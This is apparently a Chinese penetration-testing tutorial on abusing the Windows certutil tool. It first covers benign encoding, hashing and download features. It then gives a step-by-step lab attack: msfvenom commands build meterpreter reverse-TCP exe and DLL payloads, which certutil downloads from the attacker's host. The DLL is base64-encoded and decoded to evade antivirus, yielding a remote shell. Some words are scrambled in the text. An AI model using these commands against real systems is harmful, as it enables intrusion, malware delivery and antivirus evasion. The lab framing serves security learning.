渗透测试windows (windows下的渗透测试工具)

Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,*载下**恶意文件和免杀。

本文仅供学习使用,请勿用于非法操作,后果与作者无关。

下面,将介绍它在 Windows 渗透测试中的作用。

Certutil

Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。

windows渗透测试常用命令,windows操作系统渗透测试

作为系统工具的它,为什么会成为一个攻击工具(后门)?

简单来说,就是 非恶意软件攻击,下面是具体的操作示例。

环境

  • 攻击者(kali 192.168.1.51)
  • 靶机(Windows10 192.168.1.63)

编码

Certutil 包含一个编码参数(编码)。这有助于在 Base64 中编码文件的内容。这是在 Windows 中等效于 Linux 中的 base64 命令。

不能打开 *ex.e** 可执行文件时,可以使用 certutil 对可执行文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。

首先创建一个名为 file.txt 的文本文件,输入一些内容,打开 PowerShell。

windows渗透测试常用命令,windows操作系统渗透测试

参数-encodehex 将数据转换为十六进制编码的文件。

解码

Certutil 可以解码 Base64 编码的数据。使用 certutil 和参数 -decode。

windows渗透测试常用命令,windows操作系统渗透测试

参数 -decodehex 解码十六进制编码的文件。

散列

获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如 MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和是用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

命令 certutil -hashfile 生成指定哈希值。

windows渗透测试常用命令,windows操作系统渗透测试

注意:哈希算法区分大小写,MD5。

*载下**

certutil 还可用于从互联网*载下**文件。

certutil*ex.e** -urlcache -split -f http://example.com/a.txt

windows渗透测试常用命令,windows操作系统渗透测试

系统错误代码

Certutil 可以帮助你找到系统错误代码的消息文本,查看系统错误代码的含义。

windows渗透测试常用命令,windows操作系统渗透测试

使用Certutil进行渗透测试

提交恶意可执行文件

前面提到,Certutil 可在未经任何验证或评估的情况下主动从 Internet *载下**文件。

Certutil 可用于将文件从一个系统复制到另一个系统,以在攻击过程中横向移动一些攻击工具或其他文件。

使用 msfvenom 工具生成一个有效载荷或一个有效载荷,用于与攻击机器的反向 TCP 连接。有效负载的格式设置为可执行文件 *ex.e**。执行成功后,将在 root 目录中创建文件。

使用由 Python One-liner 生成的 HTTP Server 传输可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell*ex.e**
python -m SimpleHTTPServer 80

windows渗透测试常用命令,windows操作系统渗透测试

有效负载已托管在服务器上,在靶机(受害者)上执行有效负载之前,我们需要在攻击计算机上启动监听,以捕获执行有效负载后生成的会话。

windows渗透测试常用命令,windows操作系统渗透测试

成功启动攻击者的*听器侦**之后,进入靶机。在这里,我们有一个 PowerShell 终端。我们需要将有效负载*载下**到这台机器上。使用 certutil 来查找它。Certutil 将使用两个不同的用户代理建立到远程 Web 服务器的两个连接。

有效负载成功传输到靶机之后。如图所示,执行有效负载。

windows渗透测试常用命令,windows操作系统渗透测试

回到攻击机器,以查看我们的*听器侦**生成并捕获 meterpreter 的实例。运行 sysinfo 以查看目标系统的详细信息。

windows渗透测试常用命令,windows操作系统渗透测试

成功使用了 Certutil 和恶意可执行文件来 Getshell。

提交恶意 DLL 编码

Certutil 可对文件进行进行base64 编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据。然后再解码这些文件。这就是 certutil 发挥作用的地方。可以解码数据并避免杀毒软件察觉。Certutil 还可以用于解码已隐藏在证书文件中的可移植可执行文件。

有效载荷可以被编码或加密,以避免被检测。

还是使用 msfvenom 工具为与攻击机器的反向TCP连接生成有效负载。有效负载的格式在动态链接库文件 .dll 中设置。命名为 dll.txt。成功执行后,将在 root 目录中创建文件。现在,要传输该文件,我们可以使用 Python One-liner 生成的 HTTP Server。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80

有效负载已托管在服务器上,在靶机上执行有效负载之前,我们需要在攻击计算机上启动监听,以捕获在有效负载执行后将生成的会话。

windows渗透测试常用命令,windows操作系统渗透测试

成功启动攻击者的监听之后再进入靶机。打开 PowerShell 终端。我们需要将有效负载*载下**到这台机器上,并且必须谨慎进行。执行命令:

certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt

该文件将被*载下**为文本文件,并被编码为另一个文本文件。

现在要执行有效载荷以损害受害者,我们必须对其进行解码。使用 -decode 参数解码有效负载并将其保存为 exploit.dll(杀毒软件不会察觉)。然后运行此 DLL。

windows渗透测试常用命令,windows操作系统渗透测试

回到攻击机器,以查看我们的监听生成并捕获 meterpreter 的实例。运行 sysinfo 以查看目标系统的详细信息。

windows渗透测试常用命令,windows操作系统渗透测试

成功使用 Certutil 和恶意编码的可执行文件 Getshell。